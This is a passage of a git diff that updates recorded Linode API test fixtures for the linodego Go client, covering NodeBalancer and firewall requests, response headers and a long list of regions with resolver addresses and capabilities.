interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441130 + url: https://api.linode.com/v4beta/nodebalancers/694195 method: DELETE response: body: '{}' @@ -549,15 +590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -570,64 +615,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228220 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerFirewalls_List.yaml b/test/integration/fixtures/TestNodeBalancerFirewalls_List.yaml index b0713e249..edcd5baff 100644 --- a/test/integration/fixtures/TestNodeBalancerFirewalls_List.yaml +++ b/test/integration/fixtures/TestNodeBalancerFirewalls_List.yaml @@ -1,69 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 285860, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Connection: - - keep-alive - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -78,186 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, - 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, - 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, - 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": 